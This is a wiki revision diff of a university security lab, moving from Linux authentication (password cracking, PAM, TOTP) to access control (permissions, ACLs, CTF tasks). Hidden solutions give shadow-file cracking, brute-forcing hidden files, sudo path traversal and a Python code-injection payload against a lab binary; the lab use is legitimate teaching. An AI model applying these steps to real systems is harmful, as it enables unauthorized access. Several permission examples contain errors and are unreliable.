This shows you the differences between two versions of the page.
isc:labs:04 [2024/03/24 22:14] florin.stancu [05. [10p] Linux PAM] |
isc:labs:04 [2024/10/30 12:07] (current) radu.mantu [[25p] 04. Linux ACLs] |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | ===== Lab 04 - Authentication in Linux ===== | + | /* ~~SHOWSOLUTION~~ */ |
+ | |||
+ | ====== Lab 04 - Access control ====== | ||
===== Objectives ===== | ===== Objectives ===== | ||
- | + | * Mandatory Access Control | |
- | * Hashing | + | * Discretionary Access Control |
- | * Linux PAM | + | * Unix Permissions & ACLs |
- | * Multi-Factor Authentication | + | |
===== Preparation ===== | ===== Preparation ===== | ||
- | You may use the UPB's [[https://cloud.grid.pub.ro|OpenStack]] cloud to instantiate a Virtual Machine. | + | You may use the UPB's [[https://cloud.grid.pub.ro|OpenStack cloud to instantiate a Virtual Machine]] to be used for this lab! |
- | Read these [[:isc:info:virtualmachine|instructions]] if you wanna know how! | + | [[:isc:info:virtualmachine|Read these instructions if you wanna know how!]]. |
===== Overview ===== | ===== Overview ===== | ||
- | Hashing is the process of converting data — text, numbers, files, or anything, really — into a fixed-length string of letters and numbers. Data is converted into these fixed-length strings, or hash values, by using a special algorithm called a hash function. | + | An access control system consists of a set of rules regarding whether subjects (e.g. users) are allowed to do an action (e.g. read / write / delete) on the system's objects (e.g. file / application). |
- | Linux Pluggable Authentication Modules (PAM) is a suite of libraries that allow a Linux system administrator to configure methods to authenticate users. | + | There are several models available: |
- | "pam_exec" is a PAM module that can be used to run an external command. | + | * **Mandatory Access Control** (**MAC**): access policies are controlled by a central authority (e.g. system administrator); example implementations include AppArmor, SELinux and Windows's Mandatory Integrity Control; |
+ | * **Discretionary Access Control** (**DAC**): subjects may own objects, allowing them to propagate their access to others; this is the access scheme used by Posix Permissions (chmod), Linux ACLs and Windows File Access Control; | ||
+ | * **Role-based Access Control** (**RBAC**): subjects are allowed access to objects based on their role; this is a flexible generalization that allows the implementation of both MAC and DAC rules; widely used in enterprise applications; | ||
- | Multi-factor authentication (MFA) is a multi-step account login process that requires users to enter more information than just a password. For example, along with the password, users might be asked to enter a code sent to their email, answer a secret question, or scan a fingerprint. A second form of authentication can help prevent unauthorized account access if a system password has been compromised. | + | ==== Unix Permissions ==== |
- | ===== Tasks ===== | + | Standard Linux access control is mainly done at the filesystem level by using a couple of bit flags (read / write / execute) representing actions allowed for a specific subject (user / group / others) to do on an object (filesystem nodes). |
- | In the current security lab, we'll explore the fundamentals of Linux authentication. | + | Standard UNIX actions are **Read**, **Write** and **Execute**, though their effects are different between files and directories: |
+ | * **read**: allows opening for reading a file; for directories, allows listing their contents (e.g., ''ls''); | ||
+ | * **write**: allows opening a file for writing; for directories, allows creating & deleting its children; | ||
+ | * **execute**: allows executing a file; for directories, allows changing working directory inside (e.g., ''cd''). | ||
- | We'll start by examining how the OS performs hashing. First, we'll crack it and then we'll replicate it using Python. | + | The [[https://man7.org/linux/man-pages/man5/acl.5.html#ACCESS_CHECK_ALGORITHM|verification algorithm]] is also simple: |
- | Then, we'll utilize the "pam_exec" module to set up a custom Python script for user authentication. By exploiting a weak password vulnerability, we will be able to perform a successful login. | + | * check if the user is the **owner** of the file; if true => apply the permissions in the owner slot; |
+ | * check if the user is in the file's **group**; if true => apply the permissions in the group slot; | ||
+ | * else: apply permissions in the **others** slot! | ||
- | Finally, we'll enhance security measures by implementing Multi-Factor Authentication (MFA) with Google Authenticator. | + | <note> |
+ | //Fun fact//: if you have ''077'' (no permissions for owner, all permissions for group + others) and the owner try to actually read or write the file, the command fails :| others will have full access! | ||
+ | </note> | ||
- | ==== 01. [5p] Setup ==== | + | The basic tool to read permissions is ''ls -l'', and for altering them: ''chmod''. |
+ | To change the owner / group of a filesystem object, use ''chown'': | ||
+ | <code> | ||
+ | # Read The Friendly Manuals: | ||
+ | man chmod | ||
+ | man chown | ||
+ | </code> | ||
- | We use Docker: | + | === Special Permissions & Examples === |
- | <code bash> | + | In addition to the regular POSIX permissions of read, write and execute there are 3 special permissions (available using an additional 3-bit subject structure). They hold the same place value as the regular permissions and are: |
+ | <code> | ||
+ | SETUID - set user ID on execute | ||
+ | SETGID - set group ID on execute | ||
+ | StickyBit - puts the directory in sticky mode | ||
+ | </code> | ||
+ | The SETUID and SETGID permissions allow users and groups who are not the owner or group of a file to execute that file as though they were. | ||
+ | When the Sticky Bit is set on a directory, only that directory's owner or root can delete or rename the directory's files. | ||
- | docker pull ghcr.io/cs-pub-ro/isc-auth-pam:latest | + | Example: //chmod 4762 myfile// translates to: |
- | mkdir ~/auth-lab | + | <code> |
- | docker run --rm --name auth-lab -v $(pwd)/auth-lab/:/home/hacker/auth-lab -it ghcr.io/cs-pub-ro/isc-auth-pam | + | setuid = on |
+ | setgid = off | ||
+ | sticky bit = off | ||
+ | user = read + write + execute | ||
+ | group = read + write | ||
+ | other = write | ||
</code> | </code> | ||
- | <note> | + | In addition to setting permissions numerically, you can use addition and substraction operators: |
- | The ''~/auth-lab'' folder is used as persistent volume so you won't lose + sync your work inside the container! | + | <code> |
- | </note> | + | chmod u+w = add write to *user* |
+ | chmod g-rw = remove read and write from *group* | ||
+ | chmod o-rwx = remove read, write and execute from *other* | ||
- | Download the {{:isc:labs:lab04-pam.zip|lab archive}} inside the ''~/auth-lab'' directory and unzip it. | + | chmod u+s = add setuid |
+ | chmod g-s = remove setgid | ||
+ | chmod o+t = add sticky bit | ||
- | Analyse the users and groups on the system. What user are we interested in? | + | chmod a+w = add write to *all* |
+ | chmod a-wx = remove write and execute from *all* | ||
+ | </code> | ||
- | <solution -hidden> | + | More examples: |
<code> | <code> | ||
+ | chmod u=rwx,go=r = set read, write, execute on *user* and read, write on *group* and *other* | ||
+ | chmod go= = remove all permissions on *group* and *other* | ||
+ | </code> | ||
- | User "dani.mocanu", member of group "top_10_manelisti". | + | Another useful option is **-R**. It allows you to modify objects **recursively**, changing permissions on all objects in a directory and its subdirectories. |
+ | <code> | ||
+ | chmod -R 755 myfolder | ||
+ | # same goes for chown: | ||
+ | chown -R student:teachers myfolder | ||
</code> | </code> | ||
- | </solution> | ||
+ | ==== Linux Access Control Lists ==== | ||
- | ==== 02. [15p] Password Cracking ==== | + | Imagine a system with the following users: //mike//, //dave//, //john//, //steve//, //mark//. In that system, users //mike// and //dave// are members of a group called //sysop//. The user //mike// creates a new file called //runme.sh//. For this new file, the owner (//mike//) has read, write and execute permissions, the group //sysop// has read and execution permissions, and the rest of the users only have the read permission. Now, we want to give to //mark// the following permissions: read and write (but not execute permission), but not to the others! |
- | Use John the Ripper to crack our user's password. You need to run it as super user on the file that contains the passwords. | + | With traditional Linux permission we cannot give this particular set of permissions to //mark// because neither as a member of others nor as a member of //sysop// that user would have the desired permissions. Therefore, we need a much more sophisticated system for controlling the permissions for files and directories, Access Control Lists (ACLs), supported by both Windows and Linux. |
- | We want to use the default mode "wordlist" with the default location ''/usr/share/john/password.lst''. | + | For Linux, **ACL (Access Control Lists)** provide a finer-grained control over which users can access specific directories and files than do traditional Linux permissions. Using ACLs, you can specify the ways in which each of several users and groups can access a directory or file. |
- | If you are getting an error "No password hashes loaded (see FAQ)", you need to specify the format of the hash. It is named the same as the Linux password hashing function ;) | + | === Displaying access permissions === |
- | **References:** | + | The ''getfacl'' command displays the file name, owner, group and the existing ACL for a file. |
- | * https://www.openwall.com/john/doc/OPTIONS.shtml | + | |
- | <solution -hidden> | ||
<code> | <code> | ||
- | + | student@isc-vm:~$ getfacl runme.sh | |
- | $ sudo john /etc/shadow --format=crypt | + | # file: my-script.sh |
- | dani.mocanu:snoopdog | + | # owner: mark |
+ | # group: sysop | ||
+ | user::rw- | ||
+ | group::rw- | ||
+ | other::r-- | ||
</code> | </code> | ||
- | </solution> | ||
- | ==== 03. [15p] Password Hashing ==== | + | === Setting ACLs of files === |
- | Fill in the TODOs in ''gen_hash.py'' to generate a new password hash. Using your super user privileges, manually overwrite the old password of our user. | + | The ''setfacl'' command sets ACLs of files and directories. The ''-m'' option adds or modifies one or more rules in a file or folder's ACL. |
- | Test if you were successful by trying to log in (''su'') using the new password. | + | <code> |
+ | setfacl -m ugo:<user_or_group_name>:<permissions> PATH... | ||
+ | </code> | ||
- | **References:** | + | Examples: |
- | * https://docs.python.org/3/library/crypt.html | + | |
- | + | ||
- | <solution -hidden> | + | |
<code> | <code> | ||
+ | setfacl -mf u:mark:7 runme.sh # => Adds (or modifies) a rule to the ACL for the runme.sh file that gives mark read, write and execute permissions to that file. | ||
+ | setfacl -m u:mark:rw- runme.sh # => Adds (or modifies) a rule to the ACL for the runme.sh file that gives mark read and write and execute permissions to that file. | ||
+ | setfacl -m g:sysop:r-x runme.sh # => Adds (or modifies) a rule to the ACL for the runme.sh file that gives sysop read and execute permissions to that file. | ||
+ | setfacl -m o::6 runme.sh => Adds (or modifies) a rule to the ACL for the runme.sh file that gives others read and write permissions to that file. | ||
+ | setfacl -m u:mark:rx runme.sh # => Adds (or modifies) a rule to the ACL for the runme.sh file that gives mark read and execute permissions to that file. | ||
+ | setfacl -m u:mark:rx myfolder/ # => Adds (or modifies) a rule to the ACL for the folder00 folder that gives mark read and execute permissions to that folder (non-recursive!). | ||
+ | </code> | ||
- | TODO(1): | + | === Removing rules === |
- | password = 'parolanoua' | + | |
- | + | ||
- | TODO(2): | + | |
- | salt = crypt.mksalt(crypt.METHOD_SHA512) | + | |
- | + | ||
- | TODO(3): | + | |
- | hash = crypt.crypt(password, salt) | + | |
+ | The ''-x'' option removes rules in a file or folder's ACL, e.g.: | ||
+ | <code> | ||
+ | setfacl -x u:mark runme.sh => Removes mark's rule on runme.sh | ||
</code> | </code> | ||
- | </solution> | ||
- | ==== 04. [5p] Account Locking ==== | + | ===== Tasks ===== |
- | As we want to use a Python script to log in to the user account we worked on so far, you need to delete and lock its password so that password-based authentication is disabled for this user account. | + | ==== 00. Setup ==== |
- | **Reference:** | + | All tasks will be solved inside a Docker container (available on GHCR): |
- | * https://linux.die.net/man/1/passwd | + | |
- | + | ||
- | <solution -hidden> | + | |
<code> | <code> | ||
+ | docker pull ghcr.io/cs-pub-ro/isc-acl-lab:latest | ||
+ | docker run --rm --name acl-lab -it ghcr.io/cs-pub-ro/isc-acl-lab | ||
+ | </code> | ||
- | sudo passwd -dl dani.mocanu | + | If you wish to open multiple terminals inside the same container, find the container's name and use ''docker exec'': |
+ | <code bash> | ||
+ | docker container ls | ||
+ | # note the container's name or hash -> copy it! | ||
+ | docker exec -it "<CONTAINER_ID>" bash | ||
</code> | </code> | ||
- | </solution> | ||
- | ==== 05. [10p] Linux PAM ==== | + | <note warning> |
+ | Since you are running the containers locally, you may be temped to cheat by entering using the root user... | ||
- | We wish to write our own authentication module in Python. | + | This defeats the purpose of the lab, so: **don't do that**! |
+ | </note> | ||
- | For this, we must modify the ''common-auth'' Linux PAM configuration file (look in ''/etc/pam.d'') and add this as the **first** rule: <code> | + | ==== [25p] 01. Security through obscurity ==== |
- | auth sufficient pam_exec.so expose_authtok stdout quiet <path-to-auth.py> | + | |
- | </code> | + | |
- | As we want to use the script to authenticate only our special user, and because it will be called for all users, it should be //sufficient// to authenticate using it, but not //required//. | + | * Open the container. Try to read the files in ''/etc/secret/''. There is a ''flag'' in there... can you read it? |
- | + | * Go to ''/usr/local/isc/''. There is a hidden directory containing a **very hidden** file (its name is a <color #FFF>.</color>number in the ''100-10000'' range). Can you try to guess it? | |
- | In order for authentication to be successfully performed using Python, we need 3 features, which can be achieved by passing the proper options to the ''pam_exec.so'' module: | + | * //Hint: all files are <color #FFF>.</color>hidden!// |
- | * perform reads in the Python script, | + | * //Hint: you may want to filter the output a bit.. ''stderr'' redirection, maybe?// |
- | * perform prints from the Python script, | + | * Finally, run ''giff-me-flag'' |
- | * do not print anything else. | + | * //Hint 1: no +x :| try to solve some other tasks to discover more credentials (you are allowed to use any account here ;)) // |
- | + | * //Hint 2: it expects a secret in ''argv[1]''!... can you "reverse engineer" its ''strings''?.// | |
- | **References:** | + | * Total: **3 flags**! |
- | * https://linux.die.net/man/5/pam.d | + | |
- | * https://man7.org/linux/man-pages/man8/pam_exec.8.html | + | |
<solution -hidden> | <solution -hidden> | ||
- | <code> | + | <code bash> |
- | $ cat /etc/pam.d/common-auth | + | # first subtask: |
- | ... | + | cat /etc/secret/flag |
- | # here are the local modules | + | # ISC{y1Z33} |
- | auth sufficient pam_exec.so expose_authtok stdout quiet /home/hacker/auth-lab/auth.py | + | for f in $(seq 100 10000); do [[ ! -f "/usr/local/isc/.hidden/.$f" ]] || cat "/usr/local/isc/.hidden/.$f"; done |
- | ... | + | cat /usr/local/isc/.1338 |
+ | # ISC{14mt3h31337} | ||
+ | strings /usr/local/bin/giff-me-flag | grep -i please | ||
+ | su student # password: student! | ||
+ | giff-me-flag 'PLEASE!!!11oneone' | ||
+ | # ISC{4lw4ys_s4y_m4g1c_w0rd} | ||
</code> | </code> | ||
</solution> | </solution> | ||
- | ==== 06. [20p] Python Script ==== | + | ==== [25p] 02. The old userswitcheroo ==== |
- | Open ''auth.py'' and fill in TODOs(6.*). | + | * Inside the container, you have many existing users! |
- | + | * The starter account (''mihai'') has the password ''hunter2''. The others have further instructions (text files) inside their home directories! | |
- | When you're done, crack the password and try to log in. | + | * Main objective: read the flag inside ''/home/.not_for_your_eyes'' by using the good ol' **u**ser <-> **s**witcher//o//o commands! |
+ | * //Hint: explore all homes & read the (possibly hidden!) files in there, your next step **is always** suggested in there!// | ||
+ | * //Note: ''sudo'', by default, tries to execute a command on behalf of the ''root'' account (this is forbidden here). Read its man page to see how you can specify another user! also check out ''%%--%%list'' option to see your permissions ;) // | ||
+ | * //Hint: you will need to do some unusual "path traversals" on that last binary to catch the final flag.// | ||
+ | * Total: **1 flag** (most difficult)! | ||
<solution -hidden> | <solution -hidden> | ||
- | <code> | + | <code bash> |
+ | ls -l /home/.not_for_your_eyes | ||
+ | su mihai # password: `hunter2` | ||
+ | ls -la /home/decanu/ | ||
+ | cat /home/decanu/.secret/password.txt | ||
+ | su decanu | ||
+ | cat /home/rekt0r/tutorial.txt # he tells you how to use sudo to read the file! | ||
+ | cat /etc/sudoers | ||
+ | # you have access to the /home/rekt0r/read-bank-accounts binary using sudo as `decanu`! | ||
+ | sudo -u rekt0r /home/rekt0r/read-bank-accounts ../../.not_for_your_eyes | ||
+ | # ISC{1st0pp4bl3_m1h41_r3kt0r} | ||
+ | </code> | ||
+ | </solution> | ||
- | TODO(6.1): | + | ==== [25p] 03. Specials ==== |
- | if "top_10_manelisti" not in user_groups: | + | |
- | return False | + | |
- | TODO(6.2): | + | * Go back as being the ''hacker''! |
- | hash_object = hashlib.sha256() | + | * Retrieve the flag from ''t4l3nt'''s home directory! |
- | hash_object.update(user_password.encode("utf-8")) | + | * //Hint: You have t3h source code! // |
- | user_hash = hash_object.hexdigest() | + | * //Hint: Py code injection: try to simulate the resulting value of ''expr'' (on a notepad)!// |
- | + | * Total: **1 flag**! | |
- | 13412ffd6149204f40e546ffa9fbd7124b410198a6ba3924f788622b929c8eb2 ---crackstation.net---> poochiedontsurf | + | |
+ | <solution -hidden> | ||
+ | <code bash> | ||
+ | rm -f /tmp/.TEST_MODE_ENABLED | ||
+ | /home/t4l3nt/sant_calculator "123); import subprocess; print(subprocess.run(['ls', '-l', '/home/t4l3nt/.flags'])" | ||
+ | /home/t4l3nt/sant_calculator "open('/home/t4l3nt/.flags/whereisflagz0rx.txt').read()" | ||
</code> | </code> | ||
</solution> | </solution> | ||
- | ==== 07. [30p] Multi-Factor Authentication ==== | + | ==== [25p] 04. Linux ACLs ==== |
- | Solve the TODOs in ''setup_mfa.py'' and enroll the key in Google Authenticator. | + | * Enter as ''student'' (inside the container, ofc!); guess the password! |
+ | * Run ''copy-t3h-fl4gz'' -- it's not working properly.. fix the permissions (//no source code? you should have no problems with it :P//)! | ||
+ | * //Hint: "reverse engineer" it, again!// | ||
+ | * Total: **2 flags**! | ||
- | Solve the remaining TODOs(7.*) in ''auth.py'' to integrate MFA. | + | <note tip> |
- | + | In absence of [[https://github.com/pwndbg/pwndbg|pwndbg]] use vanilla **gdb** with one of its built-in layouts: | |
- | Getting an error while scanning the QR code? Make sure ''TOTP_SECRET'' is 32 bytes in length ;) | + | <code> |
- | + | (gdb) layout asm | |
- | **References:** | + | </code> |
- | * https://pyauth.github.io/pyotp/#module-pyotp | + | </note> |
- | * https://pyqrcode.readthedocs.io | + | |
<solution -hidden> | <solution -hidden> | ||
- | <code> | + | <code bash> |
- | + | strings /usr/local/bin/copy-t3h-fl4gz | |
- | setup_mfa.py: | + | su student # pass: student |
- | + | cd ~ | |
- | TODO(1): | + | mkdir givemeflagz && chmod 711 givemeflagz |
- | TOTP_SECRET = "NeverGonnaGiveYouUpNeverGonnaLet" | + | setfacl -m u:flagz0wner:rwx givemeflagz/ |
- | + | copy-t3h-fl4gz | |
- | TODO(2): | + | cat givemeflagz/lastflag1.txt |
- | qr_code = pyqrcode.create(totp_auth) | + | # trick is: umask 006 of the copy script removed +x from second directory :D |
- | print(qr_code.terminal(quiet_zone=1)) | + | # but if you know the filename... |
- | + | cat givemeflagz/second/lastflag2.txt | |
- | auth.py: | + | |
- | + | ||
- | TODO(7.1): | + | |
- | TOTP_SECRET = "NeverGonnaGiveYouUpNeverGonnaLet" | + | |
- | + | ||
- | TODO(7.2): | + | |
- | user_password = user_secret[:-6] | + | |
- | user_totp = user_secret[-6:] | + | |
- | + | ||
- | TODO(7.3): | + | |
- | totp = pyotp.TOTP(TOTP_SECRET) | + | |
- | totp_correct = totp.verify(user_totp) | + | |
</code> | </code> | ||
</solution> | </solution> | ||
- | |||
- | ===== Feedback ===== | ||
- | |||
- | Please take a minute to fill in the [[https://docs.google.com/forms/d/e/1FAIpQLSeMrKoWY6UKe1N_BASUARA-HixTuvSfrEnx_FKstT-RW464NQ/viewform |feedback form]] for this lab. | ||